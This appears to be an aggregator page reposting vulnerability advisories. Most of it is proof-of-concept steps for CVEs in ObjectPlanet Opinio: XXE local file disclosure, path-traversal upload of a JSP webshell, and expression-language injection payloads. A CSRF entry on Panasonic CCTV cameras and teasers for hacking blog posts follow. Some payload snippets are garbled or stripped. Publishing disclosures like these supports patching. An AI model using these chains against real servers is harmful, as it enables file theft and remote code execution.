Exploit Collector
ObjectPlanet Opinio 7.13 / 7.14 XML Injection

https://3.bp.blogspot.com/-IdvtX_t6dWw/WWlvCDhzudI/AAAAAAAAIKg/xbP9RqLektQzycUDwAlgxfpiSc2tZZpAwCLcBGAs/s1600/h126.png
ObjectPlanet Opinio versions 7.13 and 7.14 suffer from an XML external entity injection vulnerability.

MD5 | 42b0801a736a8c5f0e5d56cd04363a4e

Download
# Exploit Authors: Timothy Tan , Daniel Tan, Yu EnHui, Khor Yong Heng
# CVE: CVE-2020-26564

# Exploit Title: ObjectPlanet Opinio version 7.13/7.14 allows XXE injection
# Vendor Homepage: https://www.objectplanet.com/opinio/
# Software Link: https://www.objectplanet.com/opinio/
# Exploit Authors: Timothy Tan , Daniel Tan, Yu EnHui, Khor Yong Heng
# CVE: CVE-2020-26564

# Timeline
- September 2020: Initial discovery
- October 2020: Reported to ObjectPlanet
- November 2020: Fix/patch provided by ObjectPlanet
- July 2021: CVE-2020-26564

# 1. Introduction
Opinio is a survey management solution by ObjectPlanet that allows surveys to be designed, published and managed.

# 2. Vulnerability Details
ObjectPlanet Opinio before version 7.13 and 7.14 is vulnerable to XXE injection.

# 3. Proof of Concept

### XXE leading to local file disclosure ###

Step 1:

URL: /opinio/admin/file.do?action=viewEditFileResource&resourceType=6&resourcePatch=upload/css/common/blueSurvey.css

Opinio allows an administrative user to edit local CSS files, this is used to change the contents of a CSS file to a dtd reference file for the XXE injection
The existing blueSurvey.css file was chosen for this PoC. Replace the contents of the file with:
-------------------------------------------------------

Step 2:

Utilize Opinios survey module and create a generic survey template. Export the template .xml file and add this snippet into the top of the .xml file:
">
"file:////C:\<base_directory\opinio\upload\css\common\blueSurvey.css">
%dtd;

Ensure the surveyIntro tag is inserted with the following payload (This will output the result in the
surveyIntro field):

<surveyintro&all;

The base directory can be guessed via the information under Setup >> Edit System Settings , this page on Opinio shows the local directory of where Opinio was installed to.

Import the modified .xml file to:
/survey/admin/folderSurvey.do?action=viewImportSurvey['importFile']

-------------------------------------------------------

Step 3:

The C:\Users\ directory can be viewed at :
/opinio/admin/preview.do?action=previewSurvey&surveyId=<survey_id
This vulnerability was confirmed by ObjectPlanet Opinio in their patch notes which can be found at : https://www.objectplanet.com/opinio/changelog.html
# 4. Remediation
Apply the latest fix/patch from objectplanet.

# 5. Credits
Timothy Tan (https://sg.linkedin.com/in/timtjh)
Khor Yong Heng (https://www.linkedin.com/in/khor-yong-heng-66108a120/)
Yu EnHui (https://www.linkedin.com/in/enhui-yu-88691b15b/)
Daniel Tan (https://www.linkedin.com/in/dantanjk/)

Source:packetstormsecurity.com

Exploit Collector
ObjectPlanet Opinio 7.13 Shell Upload

https://4.bp.blogspot.com/-IV-83q7tlNU/WWlvNru3JHI/AAAAAAAAIMg/qWmIdM50sJs0a5mqLHfeVDVNkTKQ10wJwCLcBGAs/s1600/h23.png
ObjectPlanet Opinio version 7.13 suffers from a remote shell upload vulnerability.

MD5 | 428a660ba8fcf617d5de88b7920acbe4

Download
# Exploit Authors: Timothy Tan , Daniel Tan, Yu EnHui, Khor Yong Heng
# CVE: CVE-2020-26806

# Exploit Title: ObjectPlanet Opinio version 7.13 allows unrestricted file upload
# Vendor Homepage: https://www.objectplanet.com/opinio/
# Software Link: https://www.objectplanet.com/opinio/
# Exploit Authors: Timothy Tan , Daniel Tan, Yu EnHui, Khor Yong Heng
# CVE: CVE-2020-26806

# Timeline
- September 2020: Initial discovery
- October 2020: Reported to ObjectPlanet
- November 2020: Fix/patch provided by ObjectPlanet
- July 2021: CVE-2020-26806

# 1. Introduction
Opinio is a survey management solution by ObjectPlanet that allows surveys to be designed, published and managed.

# 2. Vulnerability Details
ObjectPlanet Opinio before version 7.13 is vulnerable to unrestricted file uploads

# 3. Proof of Concept

### Unrestricted File Upload leading to RCE ###

Step 1:

URL: /opinio/admin/file.do

Opinio allows an administrative user to edit local CSS files. This file editing function however does not validate if the HTTP POST parameters are tampered with.

Post parameters to tamper with:
- filePath
- fileContent

The base directory can be guessed via the information under Setup >> Edit System Settings , this page on Opinio shows the local directory of where Opinio was installed to.

The file path can be tampered with for e.g. : /upload/css/common/../../../admin/shell.jsp
The fileContent value was tampered with a JSP webshell for this PoC and a webshell was acheieved
For our PoC, we could view the web.xml file using an XXE vulnerability CVE-2020-26564 and identify which JSP files were allowed be loaded and replaced the contents of that JSP file with the webshell code

This vulnerability was confirmed by ObjectPlanet Opinio in their patch notes which can be found at : https://www.objectplanet.com/opinio/changelog.html

-------------------------------------------------------

# 4. Remediation
Apply the latest fix/patch from objectplanet.

# 5. Credits
Timothy Tan (https://sg.linkedin.com/in/timtjh)
Khor Yong Heng (https://www.linkedin.com/in/khor-yong-heng-66108a120/)
Yu EnHui (https://www.linkedin.com/in/enhui-yu-88691b15b/)
Daniel Tan (https://www.linkedin.com/in/dantanjk/)

Source:packetstormsecurity.com

Exploit Collector
ObjectPlanet Opinio 7.13 Expression Language Injection

https://3.bp.blogspot.com/-8aNXwMYQICE/WWlvIs7ranI/AAAAAAAAILw/f2UnTjqyD14e3ZIoWuyFJjQ7Is9Nz7MtQCLcBGAs/s1600/h144.png
ObjectPlanet Opinio version 7.13 suffers from an expression language injection vulnerability.

MD5 | e4ac02c7c40ce27bf82fc181349ac136

Download
# Exploit Authors: Timothy Tan , Daniel Tan, Yu EnHui, Khor Yong Heng
# CVE: CVE-2020-26565

# Exploit Title: ObjectPlanet Opinio version 7.13 allows expression language injection
# Vendor Homepage: https://www.objectplanet.com/opinio/
# Software Link: https://www.objectplanet.com/opinio/
# Exploit Authors: Timothy Tan , Daniel Tan, Yu EnHui, Khor Yong Heng
# CVE: CVE-2020-26565

# Timeline
- September 2020: Initial discovery
- October 2020: Reported to ObjectPlanet
- November 2020: Fix/patch provided by ObjectPlanet
- July 2021: CVE-2020-26565

# 1. Introduction
Opinio is a survey management solution by ObjectPlanet that allows surveys to be designed, published and managed.

# 2. Vulnerability Details
ObjectPlanet Opinio before version 7.13 is vulnerable to expression language injection

# 3. Proof of Concept

### Expression Language Injection leading to sensitive information disclosure ###

Step 1:

URL: /opinio/admin/permissionList.do?userId=1&from=$%7b7%2a7%7d
Payload: ${7*7} - URL encoded

The "from" parameter is vulnerable to Expression Language injection and this was validated by inspecting the loaded page source which executed the URL encoded payload to return 49

This vulnerability can be used to enumerate the sensitive information about the web server. Some examples of payloads that executed successfully are:
- ${pageContext.request.serverName} - returned server name
- ${pageContext.serveletContext.serverInfo} - returned server information
- ${pageContext.servletConfig.class} - returned information about the Apache server

This vulnerability was confirmed by ObjectPlanet Opinio in their patch notes which can be found at : https://www.objectplanet.com/opinio/changelog.html

-------------------------------------------------------

# 4. Remediation
Apply the latest fix/patch from objectplanet.

# 5. Credits
Timothy Tan (https://sg.linkedin.com/in/timtjh)
Khor Yong Heng (https://www.linkedin.com/in/khor-yong-heng-66108a120/)
Yu EnHui (https://www.linkedin.com/in/enhui-yu-88691b15b/)
Daniel Tan (https://www.linkedin.com/in/dantanjk/)

Source:packetstormsecurity.com

Exploit Collector
Panasonic Sanyo CCTV Network Camera 2.03-0x Cross Site Request Forgery

https://3.bp.blogspot.com/-w74A7gxi0bY/WWlvD06cX8I/AAAAAAAAIK4/fcu0jWNFLhIrvrv6B2He7QdGvtDQ7X4rQCLcBGAs/s1600/h131.png
Panasonic Sanyo CCTV Network Camera version 2.03-0x allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. These actions can be exploited to perform authentication detriment and account password change with administrative privileges if a logged-in user visits a malicious web site.

MD5 | 144372220bfafa4d89dbf4f8e47b37df

Download

[CSRF]
[Anonymous user log in = ON]
orororororororororororororor
[Change admin password]

Source:packetstormsecurity.com

From Hobby to Hacking

Hello,my name is Muhammad Syahrul Haniawan. I am from Indonesia and this is my first write up on Medium.com. I’ll tell you a little about…Continue reading on Medium »
Read more...

Happy Hacker Summer Camp Season!

By Joy Buolamwini, Camille François, & Sasha Costanza-Chock​​Continue reading on Medium »
Read more...

Kali Linux Tutorials
Dorothy : Tool To Test Security Monitoring And Detection For Okta Environments

Dorothy is a tool to help security teams test their monitoring and detection capabilities for their Okta environment. Dorothy has several modules to simulate actions that an attacker might take while operating in an Okta environment and actions that security teams should be able to audit. The modules are mapped to the relevant MITRE ATT&CK® tactics, such […]

The post Dorothy : Tool To Test Security Monitoring And Detection For Okta Environments appeared first on Kali Linux Tutorials.

Happy Hacker Summer Camp Season!
https://medium.com/@ajlunited/happy-hacker-summer-camp-season-e1f6fdaf7694?source=rss------bug_bounty-5

By Joy Buolamwini, Camille François, & Sasha Costanza-Chock​​Continue reading on Medium » (https://medium.com/@ajlunited/happy-hacker-summer-camp-season-e1f6fdaf7694?source=rss------bug_bounty-5)

Hacking on Medium
Cooctus Stories— TryHackme Makine Çözümü #CTF

https://cdn-images-1.medium.com/max/1498/1*CFogPxxAWaNFNNTStn1BNw.png
1)Açık Port ve Servislerin Keşfi

Continue reading on Medium »

Hacking on Medium
Lightweight web recon tool —  R3con1z3r

https://cdn-images-1.medium.com/max/800/1*R_dgW3FAM-mJ8vtol8DjtA.jpeg
R3con1z3r is a lightweight Web information gathering device with instinctive highlights written in python. It gives a fantastic…

Continue reading on Purple TEAM »